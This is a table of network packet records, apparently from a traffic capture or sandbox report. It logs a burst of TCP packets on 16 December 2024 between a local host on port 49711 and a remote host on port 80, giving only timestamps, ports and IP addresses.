Dec 16, 2024 13:16:14.293112040 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.293160915 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.293879986 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.293975115 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.294033051 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.294828892 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.294878960 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.294900894 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.294950008 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.295830965 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.295886040 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.295916080 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.295963049 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.296767950 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.296827078 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.296874046 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.296921015 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.297769070 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.297817945 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.297861099 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.297909021 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.298727989 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.298775911 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.298815966 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.298861980 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.299763918 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.299783945 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.299810886 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.299829960 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.300966978 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.301018953 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.301089048 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.301136017 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.301918030 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.301966906 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.302001953 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.302052975 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.302586079 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.302637100 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.302691936 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.302740097 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.303551912 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.303611040 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.303643942 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.303689957 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.304570913 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.304625988 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.304734945 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.304781914 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.305520058 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.305571079 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.305586100 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.305630922 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.306451082 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.306500912 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.306580067 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.306628942 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.307409048 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.307459116 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.307496071 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.307542086 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.308398962 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.308450937 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.308485031 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.308531046 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.309356928 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.309449911 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.309501886 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.310333967 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.310519934 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.310583115 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.311398983 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.311454058 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.311528921 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.311579943 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.312613010 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.312680960 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.312817097 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.312864065 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.313592911 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.313651085 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.313669920 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.313714981 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.314177990 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.314254045 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.314306974 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.315185070 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.315243006 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.315267086 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.315330029 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.316191912 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.316265106 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.316384077 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.316433907 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.317120075 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.317172050 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.317197084 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.317269087 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.318068981 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.318249941 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.318303108 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.319048882 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.319118023 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.319154024 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.319200039 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.319974899 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.320033073 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.320056915 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.320101976 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.320941925 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.320995092 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.320997953 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.321033955 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.321923018 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.321981907 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.321995020 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.322042942 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.322882891 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.323035002 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.323052883 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.323075056 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.323860884 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.323892117 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.323950052 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.324927092 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.325004101 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.325006962 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.325059891 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.325798035 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.325855017 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.325932980 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.325974941 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.326730967 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.326754093 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.326807976 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.327716112 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.327761889 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.327764034 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.327806950 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.328674078 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.328737020 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.328768969 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.328810930 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.329616070 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.329669952 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.329704046 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.329787016 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.330600977 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.330712080 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.330755949 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.331589937 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.331645966 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.331655025 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.331690073 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.332540989 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.332607031 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.332609892 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.332649946 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.333534956 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.333609104 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.333728075 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.334503889 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.334583044 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.334636927 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.335489988 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.335545063 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.335555077 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.335594893 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.336436033 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.336493015 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.336540937 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.336581945 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.337402105 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.337459087 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.337537050 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.337579012 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.338334084 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.338386059 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.338426113 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.338531017 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.339299917 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.339356899 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.339389086 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.339432955 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.340257883 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.340338945 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.340409040 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.340487957 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.341212988 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.341262102 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.341278076 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.341309071 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.342200994 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.342243910 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.342477083 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.342561007 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.343096018 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.346064091 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.484335899 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.484357119 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.484443903 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.484642029 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.484689951 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.484761000 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.484802961 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.485311031 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.485358000 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.485387087 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.485431910 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.486207962 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.486342907 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.486392975 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.487215996 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.487267017 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.487356901 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.487400055 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.488181114 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.488234043 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.488301992 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.488348007 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.489171028 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.489223957 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.489254951 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.489300013 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.490107059 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.490158081 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.490169048 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.490214109 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.491188049 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.491239071 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.491341114 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.491385937 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.492044926 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.492095947 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.492141008 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.492187977 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.493014097 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.493067026 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.493169069 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.493213892 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.493946075 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.493999958 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.494048119 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.494095087 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.494916916 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.494971037 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.495014906 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.495060921 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.495882988 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.495932102 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.495990992 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.496036053 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.496912003 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.496964931 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.497023106 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.497070074 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.497840881 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.497891903 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.497922897 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.497967958 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.498760939 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.498811007 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.498874903 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.498920918 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.499733925 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.499788046 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.499828100 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.499872923 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.500690937 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.500742912 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.500785112 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.500830889 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.501715899 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.501761913 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.501765013 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.501805067 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.502625942 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.502676010 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.502773046 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.502816916 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.503576994 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.503627062 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.503685951 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.503732920 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.504601955 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.504650116 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.504698992 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.504745007 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.505532026 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.505582094 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.505647898 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.505692959 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.506515980 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.506566048 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.506589890 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.506637096 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.507472992 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.507522106 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.507574081 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.507618904 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.508445024 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.508491039 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.508572102 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.508616924 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.509439945 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.509489059 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.509540081 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.509586096 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.510411978 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.510461092 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.510488987 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.510530949 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.511343956 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.511394978 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.511468887 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.511513948 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.512301922 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.512411118 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.512459993 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.513261080 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.513314962 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.513372898 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.513417959 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.514264107 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.514317036 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.514344931 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.514389038 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.515204906 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.515254021 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.515280008 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.515326023 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.516171932 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.516225100 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.516267061 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.516315937 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.517261028 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.517312050 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.517422915 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.517467976 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.518276930 CET	80	49711	31.41.244.11	192.168.2.8
